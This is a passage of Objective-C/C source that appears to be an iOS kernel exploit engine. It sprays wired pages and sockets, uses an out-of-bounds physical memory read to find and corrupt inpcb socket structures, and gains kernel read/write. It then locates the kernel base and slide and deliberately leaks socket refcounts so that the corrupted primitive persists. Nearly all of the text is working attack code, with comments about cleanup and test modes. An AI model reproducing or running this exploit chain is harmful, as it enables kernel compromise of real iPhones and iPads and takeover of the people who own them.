        KPRINTF("[-] calloc failed for the OOB buffers (OOB_SIZE=%#x)\n", (unsigned)OOB_SIZE);
        tracker_arrays_release();   // BUG.2 round 3: init_globals already made the pair
        return;   // pe_v2 is void; the caller's status stays "failed"
    }
    initialize_physical_read_write(OOB_PAGES_NUM * PAGE_SIZE);

    mach_vm_size_t wiredEntrySize = PAGE_SIZE;
    mach_vm_size_t trySizes[] = {
        1024ULL * 1024ULL * 1024ULL * 2ULL,   // 2GB
        1024ULL * 1024ULL * 1024ULL,          // 1GB
        512ULL  * 1024ULL * 1024ULL,          // 512MB
        256ULL  * 1024ULL * 1024ULL,          // 256MB
    };
    int sizeIdx = 0;
    const int sizeCount = (int)(sizeof(trySizes) / sizeof(trySizes[0]));

retry_alloc:;
    if (sizeIdx >= sizeCount) {
        printf("[-] pe_v2: All allocation sizes failed (2GB, 1GB, 512MB, 256MB) — giving up\n");
        // BUG.2 audit: nothing is allocated at this point (every attempt cleaned
        // its own wired pages above), only the two OOB buffers are held.
        free(readBuffer);
        free(writeBuffer);
        tracker_arrays_release();   // BUG.2 round 3: this attempt's empty pair
        FAILURE(0);
    }
    mach_vm_size_t wiredTotalSize = trySizes[sizeIdx];
    uint64_t nWiredEntries = wiredTotalSize / wiredEntrySize;

    printf("[i] pe_v2: Trying %llu wired pages (%lluMB)...\n", nWiredEntries, (unsigned long long)(wiredTotalSize / (1024*1024)));

    NSMutableArray<NSNumber *> *wiredAddrs = [[NSMutableArray alloc] initWithCapacity:(NSUInteger)nWiredEntries];

    kern_return_t kr = KERN_SUCCESS;
    mach_vm_address_t wiredAddr = 0;
    bool allocFailed = false;

    for (uint64_t i = 0; i < nWiredEntries; i++) {
        if (i == 0) {
            kr = mach_vm_allocate(mach_task_self(), &wiredAddr, wiredEntrySize, VM_FLAGS_ANYWHERE);
            if (kr != KERN_SUCCESS) {
                printf("[-] pe_v2: initial mach_vm_allocate failed at size %lluMB\n", (unsigned long long)(wiredTotalSize / (1024*1024)));
                allocFailed = true;
            }
        } else {
            mach_vm_address_t nextAddr = wiredAddrs.lastObject.unsignedLongLongValue + wiredEntrySize;
            int fixedRetries = 0;
            do {
                wiredAddr = nextAddr;
                kr = mach_vm_allocate(mach_task_self(), &wiredAddr, wiredEntrySize, VM_FLAGS_FIXED);
                nextAddr += wiredEntrySize;
                if (kr != KERN_SUCCESS) {
                    usleep(100);
                    if (++fixedRetries >= 1000) {
                        printf("[-] pe_v2: fixed allocation stuck at %#llx after 1000 tries (page %llu)\n", (unsigned long long)wiredAddr, (unsigned long long)i);
                        allocFailed = true;
                        break;
                    }
                }
            } while (kr != KERN_SUCCESS);
        }
        if (allocFailed) break;
        [wiredAddrs addObject:@(wiredAddr)];
        surface_mlock(wiredAddr, wiredEntrySize);
        *(uint64_t *)wiredAddr = wiredPageMarker;
        *(uint64_t *)(wiredAddr + 0x8) = wiredAddr;
    }

    if (allocFailed) {
        // Clean up partial allocations before falling back to a smaller size
        wired_pages_cleanup(wiredAddrs, wiredEntrySize);  // A3.5
        // BUG.2 audit: the tracking array itself is the fifth thing this
        // function holds. MRC (build_libengine.sh sets no -fobjc-arc), so
        // [NSMutableArray alloc]initWithCapacity: is owned here and was leaked
        // on EVERY exit of this function - up to 524288 NSNumbers' worth of
        // backing store (4MB at 2GB/4096) for the 2GB attempt. The leak is
        // largest exactly on the path that fires when the 2GB allocation just
        // failed for memory pressure. Released here (re-created at the
        // retry_alloc label), at the two FAILURE(0) exits below, and at the
        // tail.
        wiredAddrs = nil;   // 1.3.0 (ARC)
        sizeIdx++;
        if (sizeIdx < sizeCount) {
            printf("[i] pe_v2: Retrying with smaller size (%lluMB)...\n",
                   (unsigned long long)(trySizes[sizeIdx] / (1024*1024)));
        }
        goto retry_alloc;
    }
    printf("[+] pe_v2: Allocated %llu wired pages\n", nWiredEntries);

    NSMutableArray *targetInpGencntList = [NSMutableArray new];

    while (true) {
        mach_vm_size_t searchMappingSize = 0x800ULL * PAGE_SIZE;
        mach_vm_address_t searchMappingAddress = 0;
        kr = mach_vm_allocate(mach_task_self_, &searchMappingAddress, searchMappingSize, VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR);
        if (kr != KERN_SUCCESS) {
            printf("[-] pe_v2: mach_vm_allocate search mapping failed\n");
            wired_pages_cleanup(wiredAddrs, wiredEntrySize);  // A3.5: no wired leak on error path
            wiredAddrs = nil;   // 1.3.0 (ARC)                             // BUG.2 audit: the tracker was held too
            release_gencnt_tracker(targetInpGencntList, "pe_v2");   // BUG.2 round 3
            tracker_arrays_release();                                // ...and this attempt's pair
            free(readBuffer);                                 // BUG.2 audit: buffers were held too
            free(writeBuffer);
            FAILURE(0);
        }
        for (uint64_t k = 0; k < searchMappingSize; k += PAGE_SIZE) {
            *(uint64_t *)(searchMappingAddress + k) = randomMarker;
        }
        surface_mlock(searchMappingAddress, searchMappingSize);

        mach_port_t memoryObject = 0;
        mach_vm_size_t memoryObjectSize = searchMappingSize;
        kr = mach_make_memory_entry_64(mach_task_self_, &memoryObjectSize, searchMappingAddress, VM_PROT_DEFAULT, &memoryObject, 0);
        if (kr != KERN_SUCCESS) {
            printf("[-] pe_v2: mach_make_memory_entry_64 failed\n");
            surface_munlock(searchMappingAddress, searchMappingSize);
            wired_pages_cleanup(wiredAddrs, wiredEntrySize);  // A3.5
            wiredAddrs = nil;   // 1.3.0 (ARC)                             // BUG.2 audit: the tracker was held too
            release_gencnt_tracker(targetInpGencntList, "pe_v2");   // BUG.2 round 3
            tracker_arrays_release();                                // ...and this attempt's pair
            free(readBuffer);                                 // BUG.2 audit: buffers were held too
            free(writeBuffer);
            FAILURE(0);
        }

        // BUG.2 (0.12 audit round 3): the previous iteration's pair is released
        // here instead of being dropped (same point in the allocation order).
        tracker_arrays_reset();
        unsigned socketPortsCount = 0;
        uint64_t maxSocketsCount = 0x5800;
        uint64_t splitCount = 8;

        bool success = false;
        bool aborted = false;       // cancel/budget: still run the cleanup below
        mach_vm_offset_t seekingOffset = 0;

        while (seekingOffset + pcSize <= searchMappingSize) {
            // Same loop-level cancel/budget check as pe_v1: without it a CANCEL
            // only made each read fail fast and the walk continued anyway.
            if (kexploit_stop_requested() ||
                (g_exploitStart != 0 && (time(NULL) - g_exploitStart) > SCAN_BUDGET_SEC())) {
                KPRINTF("[scan] stop requested (or %ds budget) — aborting the pe_v2 walk\n",
                        SCAN_BUDGET_SEC());
                // NOT a bare return: the mapping, the memory object and the
                // socket spray are released further down, and returning here
                // leaked all of it (reviewer + W0lfSword SG.10, 2026-09-11).
                aborted = true;
                g_peV2Aborted = true;   // BUG.4: the A18 caller's -7 (pe_v2 is void)
                break;
            }
            kr = physical_oob_read_mo(memoryObject, seekingOffset, OOB_SIZE, OOB_OFFSET, readBuffer);
            if (kr != KERN_SUCCESS) {
                seekingOffset += PAGE_SIZE;
                continue;
            }

            uint64_t firstQword = *(uint64_t *)readBuffer;

            if (firstQword == wiredPageMarker) {
                // Found a wired page! Read back the stored virtual address.
                uint64_t wiredPage = *(uint64_t *)((uint8_t *)readBuffer + 0x8);
                KPRINTF("[i] pe_v2: offset %#llx: Found wired page %#llx\n", seekingOffset, wiredPage);

                // Remove from tracking array
                NSNumber *wiredPageNum = @(wiredPage);
                NSUInteger idx = [wiredAddrs indexOfObject:wiredPageNum];
                if (idx == NSNotFound) {
                    printf("[-] pe_v2: Found old/duplicate wired page, skipping\n");
                    seekingOffset += PAGE_SIZE;
                    continue;
                }
                [wiredAddrs removeObjectAtIndex:idx];

                // Clear the marker and deallocate — this frees the physical page
                *(uint64_t *)wiredPage = 0;
                *(uint64_t *)(wiredPage + 0x8) = 0;
                // BUG.2 audit: this page was mlock'd when it was allocated, so it
                // must be munlocked here as well. It was removed from wiredAddrs
                // just above, which means wired_pages_cleanup() will never see it
                // again - that is exactly how the IOSurface pinning this page got
                // leaked on the one branch that runs on the success path.
                surface_munlock(wiredPage, wiredEntrySize);
                kr = mach_vm_deallocate(mach_task_self(), wiredPage, wiredEntrySize);
                KPRINTF("[cleanup] pe_v2: found wired page %#llx munlocked + deallocated (kr=%d)\n",
                        wiredPage, kr);
                if (kr != KERN_SUCCESS) {
                    printf("[-] pe_v2: Failed to deallocate wired page\n");
                }

                // Incremental socket spray into the freed physical page
                for (uint64_t sc = 0; sc < maxSocketsCount / splitCount; sc++) {
                    // BUG.4: the pe_v2 batch honours a CANCEL as well.
                    if (kexploit_stop_requested()) {
                        KPRINTF("[scan] stop requested during the pe_v2 batch spray — stopped at %llu\n", sc);
                        break;
                    }
                    mach_port_t port = spray_socket(socketPorts, socketPcbIds);
                    if (port == MACH_PORT_NULL) {
                        printf("[-] pe_v2: Failed to spray sockets: %u\n", socketPortsCount);
                        break;
                    }
                    socketPortsCount++;
                }

                // Try to find and corrupt a socket on this page
                if (find_and_corrupt_socket(memoryObject, seekingOffset, readBuffer, writeBuffer, targetInpGencntList, true) == KERN_SUCCESS) {
                    KPRINTF("[+] pe_v2: offset %#llx: Reallocated PCB page!\n", seekingOffset);
                    success = true;
                    break;
                } else {
                    // If we've exhausted sockets, release all and wait for zone trimming
                    if (socketPortsCount >= maxSocketsCount) {
                        // BUG.2 round 3: this is the fourth place that re-created
                        // the tracking pair (sockets_release() then two fresh
                        // arrays). tracker_arrays_reset() does exactly that and
                        // releases the old pair, which the old code dropped.
                        tracker_arrays_reset();
                        socketPortsCount = 0;
                        printf("[+] pe_v2: Socket limit reached, waiting for zone trimming...\n");
                        sleep(20);
                    }
                    // Restart scanning from beginning
                    seekingOffset = 0;
                }
            } else if (find_and_corrupt_socket(memoryObject, seekingOffset, readBuffer, writeBuffer, targetInpGencntList, false) == KERN_SUCCESS) {
                // Found a PCB page without wired marker
                KPRINTF("[+] pe_v2: offset %#llx: Found PCB page!\n", seekingOffset);
                success = true;
                break;
            } else {
                seekingOffset += PAGE_SIZE;
            }
        }

        kr = release_memory_object(memoryObject, "pe_v2");
        // Count BEFORE the release - sockets_release clears the arrays, so
        // reading the count afterwards always logged 0.
        unsigned long releasedSockets = (unsigned long)[socketPcbIds count];
        sockets_release(socketPorts, socketPcbIds);
        KPRINTF("[i] pe_v2: released %lu sockets%s\n", releasedSockets,
                aborted ? " (cancelled: mapping + object freed too)" : "");
        // BUG.2 audit: the search mapping is mlock'd by surface_mlock() above on
        // EVERY iteration - including this cancel/abort one - and was deallocated
        // without the matching munlock, leaving one IOSurface (and the pages it
        // pins) behind per iteration. Munlock first, then deallocate.
        surface_munlock(searchMappingAddress, searchMappingSize);
        kr = mach_vm_deallocate(mach_task_self(), searchMappingAddress, searchMappingSize);
        KPRINTF("[cleanup] pe_v2: search mapping %#llx munlocked + deallocated (kr=%d)\n",
                searchMappingAddress, kr);

        if (aborted) break;     // cancel/budget: stop trying other mapping sizes
        if (success) break;
    }

    // Cleanup: deallocate remaining wired pages + mlock'd surfaces
    wired_pages_cleanup(wiredAddrs, wiredEntrySize);  // A3.5
    printf("[+] pe_v2: Done, cleaned up remaining wired pages\n");
    wiredAddrs = nil;   // 1.3.0 (ARC)   // BUG.2 audit: same MRC tracker as the exits above -
                            // the pages are gone but their 4MB record was not
    release_gencnt_tracker(targetInpGencntList, "pe_v2");   // BUG.2 round 3: the
                            // third owned object this call held, released here
    tracker_arrays_release();                               // ...and the spray pair
    free(readBuffer);
    free(writeBuffer);
}

void krw_sockets_leak_forever(void) {
    uint64_t controlSocketAddr =
        early_kread64(controlSocketPcb + off_inpcb_inp_socket);
    uint64_t rwSocketAddr =
        early_kread64(xpaci(rwSocketPcb) + off_inpcb_inp_socket);

    if (!controlSocketAddr || !rwSocketAddr) {
        printf("[-] Couldn't find controlSocketAddr || rwSocketAddr\n");
        FAILURE(0);
    }

    uint64_t controlSocketSoCount =
        early_kread64(controlSocketAddr + off_socket_so_usecount);
    uint64_t rwSocketSoCount =
        early_kread64(rwSocketAddr + off_socket_so_usecount);
    early_kwrite64(controlSocketAddr + off_socket_so_usecount,
                   controlSocketSoCount + 0x0000100100001001);
    early_kwrite64(rwSocketAddr + off_socket_so_usecount,
                   rwSocketSoCount + 0x0000100100001001);

    // BUG.1 step 3b: this is the one other write into the live inpcb in the
    // escape path, so it goes through the clamp too - the window is the inpcb's
    // own field span (the field's block 0x140..0x160 fits it on both layouts).
    // The two so_usecount writes above stay on early_kwrite64: their object is a
    // struct socket, and this tree has no field table for it that could state a
    // window honestly (say so rather than guess).
    uint64_t inpcbPcb = xpaci(rwSocketPcb);
    krw_zone_verdict chksumVerdict =
        kwrite_zone_element_qword(inpcbPcb + off_inpcb_inp_depend6_inp6_chksum, 0,
                                  inpcbPcb, probe_inpcb_window_size_for_pcb(inpcbPcb));
    if (chksumVerdict != KRW_ZONE_OK) {
        KPRINTF("[krw] sockets_leak_forever: the inp6_chksum write was REFUSED by the zone writer "
                "(verdict %d) — pcb %#llx + %#x is not provably inside the inpcb window; the socket "
                "leak itself (so_usecount) is unaffected\n",
                (int)chksumVerdict, inpcbPcb, off_inpcb_inp_depend6_inp6_chksum);
    }
}

uint64_t g_kernel_base;
uint64_t g_kernel_slide;

// ---------------------------------------------------------------------------
// BUG.2 (0.12 audit round 3): the per-attempt teardown for the resources
// kexploit_opa334() owns directly - the free thread and the two target fds.
//
// The tail of a run that reached the end always did this, but every EARLY return
// skipped it: the readonly (-2), writetest (-3), race-rejected (-4), cancel/budget
// (-7) and pe_v1-failure (-1) exits returned with the free thread still spinning
// on raceSync (a hot spin with no yield, i.e. a CPU-axis contributor to the SG.10
// kills) and both fds open. One helper, called on every exit that has run
// pe_init(), so the paths cannot drift apart again. The two exits BEFORE pe_init
// (the offsets_init failures - nothing is allocated yet) deliberately do not call
// it.
//
// Idempotent by construction: g_freeThreadLive is cleared by the join, so a second
// call joins nothing and closes nothing.
// ---------------------------------------------------------------------------
// BUG.5 (2026-09-11 device day): the measured kernel-write summary. The old
// sentence in the mode description - "readonly (scan + validate offsets, zero
// kernel writes)" - was an assertion nobody could check; this prints what the
// counter actually saw, per route, so a readonly run's "0" is a measurement and
// a staged/writetest run's real writes are visible instead of implied.
static void kexploit_log_scan_writes(const char *where) {
    KPRINTF("[SCAN] kernel writes issued %s: %llu write(s), %llu byte(s) "
            "[measured by kwrite_counter, BUG.5]\n",
            where, kwrite_count_total(), kwrite_count_bytes());
    KPRINTF("[SCAN]   by route: %s=%llu  %s=%llu  %s=%llu  (refused: %llu)\n",
            kwrite_src_name(KWRITE_SRC_KRW32), kwrite_count_for(KWRITE_SRC_KRW32),
            kwrite_src_name(KWRITE_SRC_KRW64), kwrite_count_for(KWRITE_SRC_KRW64),
            kwrite_src_name(KWRITE_SRC_ZONE), kwrite_count_for(KWRITE_SRC_ZONE),
            kwrite_count_failed_total());
}

static void kexploit_attempt_teardown(void) {
    // BUG.5: every exit that runs the teardown (-2 readonly, -3 writetest, -4
    // race rejected, -7 cancel/budget, -1 pe_v1 failure, and the success tail)
    // reports what the write counter measured for the attempt, so no caller has
    // to take "no kernel writes" on faith. The staged -5 exit prints its own
    // (it returns without a teardown - there is no thread/fd to release there).
    kexploit_log_scan_writes("this attempt");
    // The stop flag is what makes the join safe: it breaks the free thread out of
    // BOTH of its waits (see free_thread), including the first one, which the
    // pe_v1 OOB-calloc failure exit leaves unset (goSync never became 1).
    __atomic_store_n(&g_freeThreadStop, 1, __ATOMIC_RELEASE);
    // Unblocks a thread sitting inside `while (raceSync == 0);` so it can see the
    // stop flag instead of spinning until the process dies. goSync = 0 is the
    // original success-path signal: it lets the outer loop finish.
    __atomic_store_n(&raceSync, 1, __ATOMIC_RELEASE);
    __atomic_store_n(&goSync, 0, __ATOMIC_RELEASE);
    if (g_freeThreadLive) {
        pthread_join(freeThread, NULL);
        g_freeThreadLive = false;
        KPRINTF("[cleanup] kexploit: free thread stopped + joined (BUG.2)\n");
    }
    // readFd/writeFd are opened by init_target_file() inside pe_init(), which runs
    // before g_freeThreadLive is set. They are `static int` (0 when never opened),
    // so the > 2 guard is what keeps this from ever closing fd 0/1/2 of a run that
    // never opened them.
    if (writeFd > 2 || readFd > 2) {
        KPRINTF("[cleanup] kexploit: target fds closed (readFd=%d writeFd=%d, BUG.2)\n",
                readFd, writeFd);
        if (writeFd > 2) {
            close(writeFd);
            writeFd = -1;
        }
        if (readFd > 2) {
            close(readFd);
            readFd = -1;
        }
    }
}

// 1.4.2: one promotion per process, ever. A second pe_v1 runs on a heap that
// krw_sockets_leak_forever deliberately left corrupted — the re-strike and the
// zombie pair turn it into the panic class we spent a day killing. Attempts
// that never reached the tail may still retry freely.
// (g_promotion_done lives with the other probe-saved globals so
// kexploit_disarm_for_close can see it.)

int kexploit_opa334(void) {
    if (g_promotion_done) {
        KPRINTF("[engine] промоушн уже выполнен в этом процессе — повторный pe_v1 запрещён (запас от ребута)\n");
        return 0;
    }
    // Reset race state for fresh attempt
    highestSuccessIdx = 0;
    successReadCount = 0;
    // Per-attempt reset. NOTE: g_stopRequested is deliberately NOT reset here.
    // The app owns that flag: its run loop retries up to three times, so clearing
    // it per attempt meant a CANCEL only stopped the in-flight attempt and the
    // next attempt cleared the flag and re-ran the whole budget (reviewer
    // finding, 2026-09-11). The app clears it when the user starts a run.
    atomic_store(&g_sprayExhausted, 0);
    atomic_store(&g_sprayTotal, 0);
    atomic_store(&g_enfileStreak, 0);
    g_exploitStart = time(NULL);
    // BUG.5: the write counters describe THIS attempt. Reset with the rest of
    // the per-attempt state, so the number the summary line prints is not
    // polluted by an earlier attempt in the app's retry loop.
    kwrite_count_reset();

    // to support various iOS 17-26 versions
    if (offsets_init() != 0) {
        if (wolf_test_mode == 0) {
            // STAGED (release default): the device/iOS combo has no offsets
            // table entry — nothing has been touched yet. Final verdict, no
            // retries (a retry storm on an unsupported device is exactly what
            // the staged default exists to prevent).
            KPRINTF("[STAGED] stage 0 FAILED — offsets_init: unsupported iOS/device combo, nothing touched, no retries\n");
            return -6;
        }
        KPRINTF("[-] offsets_init failed: unsupported iOS version or device\n");
        return -1;
    }
    
    init_globals();
    struct utsname name;
    uname(&name);
    cpu_subtype_t cpuFamily = get_hw_cpufamily();

    isA18Device = (cpuFamily == CPUFAMILY_ARM_TUPAI ||
                   cpuFamily == CPUFAMILY_ARM_TAHITI ||
                   cpuFamily == CPUFAMILY_ARM_DONAN);   // M4 (A18-class thread/machine layout)

    KPRINTF("machine: %s\n", name.machine);
    KPRINTF("hw.cpufamily: 0x%x\n", cpuFamily);
    // 1.3.0 (KexProof): first T8122/18.6 run of this engine — record the device,
    // the cpu family and the offsets block the table actually chose, so a
    // mis-picked block is visible in the live log before the first write.
    KPRINTF("[KP] engine start: iOS %s, %s, cpufamily %#x — offsets: icmp6filt=%#x chksum=%#x pcbinfo=%#x ipi_zone=%#x zone_elem_size=%#x itk_space=%#x\n",
            [[UIDevice currentDevice] systemVersion].UTF8String, name.machine, cpuFamily,
            off_inpcb_inp_depend6_inp6_icmp6filt, off_inpcb_inp_depend6_inp6_chksum,
            off_inpcb_inp_pcbinfo, off_inpcbinfo_ipi_zone, off_zone_elem_size,
            off_task_itk_space);

    if (isA18Device) {
        KPRINTF("[+] Running on A18 device\n");
        // Wait for zone allocator state to stabilize after app launch
        sleep(3);
        pe_init();
        pe_v2();
        if (g_peV2Aborted) {
            // BUG.4 (task 10): the CANCEL/budget stop landed inside pe_v2, which
            // released its search mapping, its memory object and its spray on the
            // way out. This is the same terminal exit the pe_v1 walk uses, so the
            // app's run loop sees -7, reports "cancelled" and STOPS - before this
            // fix an A18 run continued into the krw tail and the app never knew.
            KPRINTF("[-] pe_v2 scan stopped on request (cancel or %ds budget)\n",
                    SCAN_BUDGET_SEC());
            kexploit_attempt_teardown();
            return -7;
        }
    } else {
        KPRINTF("[+] Running on non-A18 device\n");
        pe_init();
        int pv = pe_v1();
        if (pv == -2) {
            KPRINTF("[TEST] READONLY validation complete — no corruption performed, stopping (kernel writes measured: %llu write(s) / %llu byte(s), BUG.5)\n",
                    kexploit_scan_writes(), kexploit_scan_write_bytes());
            kexploit_attempt_teardown();   // BUG.2 round 3: this exit used to skip it
            return -2;
        }
        if (pv == -3) {
            KPRINTF("[TEST] WRITETEST complete — socket restored, stopping (no escape)\n");
            kexploit_attempt_teardown();   // BUG.2 round 3: this exit used to skip it
            return -3;
        }
        if (pv == -4) {
            KPRINTF("[-] race rejected on this device — vm_map kr=4 on every attempt, technique cannot run here\n");
            kexploit_attempt_teardown();   // BUG.2 round 3: this exit used to skip it
            return -4;
        }
        if (pv == -7) {
            // Cancel / wall-clock budget hit the scan loop: distinct from a
            // failure so the host app can say "cancelled" instead of "failed".
            KPRINTF("[-] scan stopped on request (cancel or %ds budget)\n", SCAN_BUDGET_SEC());
            kexploit_attempt_teardown();   // BUG.2 round 3: this exit used to skip it
            return -7;
        }
        if (pv != 0) {
            KPRINTF("[-] pe_v1 failed — aborting this exploit attempt\n");
            kexploit_attempt_teardown();   // BUG.2 round 3: this exit used to skip it
            return -1;
        }
    }

    KPRINTF("[+] highestSuccessIdx: %d\n", highestSuccessIdx);
    KPRINTF("[+] successReadCount: %d\n", successReadCount);

    kexploit_attempt_teardown();   // BUG.2 round 3: was four inline lines, now the
                                   // same funnel the early returns use

    controlSocketPcb = xpaci(early_kread64(xpaci(rwSocketPcb) + off_inpcb_inp_list_le_next));
    uint64_t pcbinfo_pointer = xpaci(early_kread64(controlSocketPcb + off_inpcb_inp_pcbinfo));
    uint64_t ipi_zone = xpaci(early_kread64(pcbinfo_pointer + off_inpcbinfo_ipi_zone));
    uint64_t zv_name = xpaci(early_kread64(ipi_zone + off_kalloc_type_view_kt_zv_zv_name));

    g_kernel_base = zv_name & 0xFFFFFFFFFFFFC000;
    int kbaseScanIter = 0;
    KPRINTF("[+] kernel base scan start: %#llx (zv_name=%#llx)\n", g_kernel_base, zv_name);
    while (true) {
        // PRINT_VAR(g_kernel_base);
        if (early_kread64(g_kernel_base) == 0x100000cfeedfacf) {
            if(gIsPACSupported) {   //arm64e devices
                if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"16.0") && SYSTEM_VERSION_LESS_THAN(@"19.0") && early_kread64(g_kernel_base + 0x8) == 0xc00000002) { // iOS 16.x, 17.x, 18.x
                    break;
                }
                if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"26.0") && early_kread64(g_kernel_base + 0x8) == 0xCC0000002) {  // iOS 26.x
                    break;
                }
                if(SYSTEM_VERSION_LESS_THAN(@"16.0")) { // iOS 15.x
                    break;
                }
            } else {                //arm64 devices
                if(early_kread64(g_kernel_base + 0x8) == 0x200000000) {   //tested only on ipad7 18.0
                    break;
                }
            }
        }
        g_kernel_base -= PAGE_SIZE;
        if ((kbaseScanIter % 0x10000) == 0) {
            KPRINTF("    scan iter %d base=%#llx val=%#llx\n", kbaseScanIter, g_kernel_base, early_kread64(g_kernel_base));
        }
        // A3.12 hardening: don't scan the entire kernel address space if the
        // magic never matches (wrong offsets) — bounded, then give up.
        if (++kbaseScanIter >= 0x100000) {
            if (wolf_test_mode == 0) {
                // STAGED: krw reads work but the kernel magic never matched —
                // the offsets table is wrong for this device/build. Restore
                // the single corrupted socket and stop with a FINAL verdict:
                // retrying would only re-corrupt a socket on the main device.
                KPRINTF("[STAGED] stage 2/2 FAILED — kernel base magic never matched (offsets likely wrong for this device/build); restoring socket and stopping\n");
                // BUG.1 step 1: this exit is the one that used to reach the
                // restore with the spray tracking array already emptied by
                // pe_v1's release funnel, so it wrote NOTHING back and left the
                // corrupted inpcb live. The helper now falls back to the fds the
                // promotion opened for this same corruption, and either way it
                // reports its own outcome - this line only records that the run
                // stops here, with no write phase entered.
                if (!restore_corrupted_socket()) {
                    KPRINTF("[STAGED] probe restore: put-back not confirmed on the staged -5 exit (reason above) — stopping; no write phase runs from here\n");
                }
                // BUG.5: this exit performs the probe's restore writes itself,
                // so it reports the measured total instead of leaving the run
                // with no number attached to it.
                kexploit_log_scan_writes("on the staged -5 exit (restore writes included)");
                return -5;
            }
            KPRINTF("[-] kernel base scan exhausted (0x%x iters) — offsets likely wrong\n", kbaseScanIter);
            FAILURE_V(0, -1);
        }
    }
    
    g_kernel_slide = g_kernel_base - 0xfffffff007004000;

    if (wolf_test_mode == 0) {
        KPRINTF("[STAGED] stage 2/2 pass — krw read chain + kernel magic verified (base=%#llx slide=%#llx); full chain proceeding\n",
                g_kernel_base, g_kernel_slide);
    }

    KPRINTF("early_kread64(%#llx) -> %#llx\n", g_kernel_base,
           early_kread64(g_kernel_base));

    KPRINTF("win??\n");

    krw_sockets_leak_forever();

    // 1.5.3: latch the promotion the instant the win is confirmed — before any
    // further logging — so a retry after a later crash can never re-enter
    // pe_v1 on the deliberately corrupted heap. The BB-011 thread guard is
    // gone: it was print-only (never gated anything), false-flagged every
    // T8122 run with a garbage kstackptr read, and the fflush(stdout)+sleep(1)
    // behind it was the exact spot where the exploit thread blocked on a full
    // capture pipe and never reached return 0.
    g_promotion_done = 1;

    // PEV1-CLEANUP: the promotion deliberately keeps control.icmp6filt corrupted
    // (it IS the krw primitive). so_usecount leaking does NOT stop soclose ->
    // rip6_detach from freeing that pointer — only a stock icmp6filt does. So
    // register the disarm for process exit, and the app shell also calls it
    // from applicationWillTerminate / explicit teardown.
    atexit(kexploit_disarm_atexit);

    KPRINTF("[engine] returning 0 — промоушн и база ядра подтверждены; повторный pe_v1 в этом процессе запрещён\n");
    return 0;
}

// 1.3.0 (KexProof): the app shell's dump stage reads the corrupted inpcb VAs
// (the old engine exposed them as g_ctx.control_socket_pcb/rw_socket_pcb).
uint64_t darksword_control_socket_pcb(void) { return controlSocketPcb; }
uint64_t darksword_rw_socket_pcb(void) { return rwSocketPcb; }
uint64_t darksword_control_pcb(void) { return g_probe_control_pcb; }
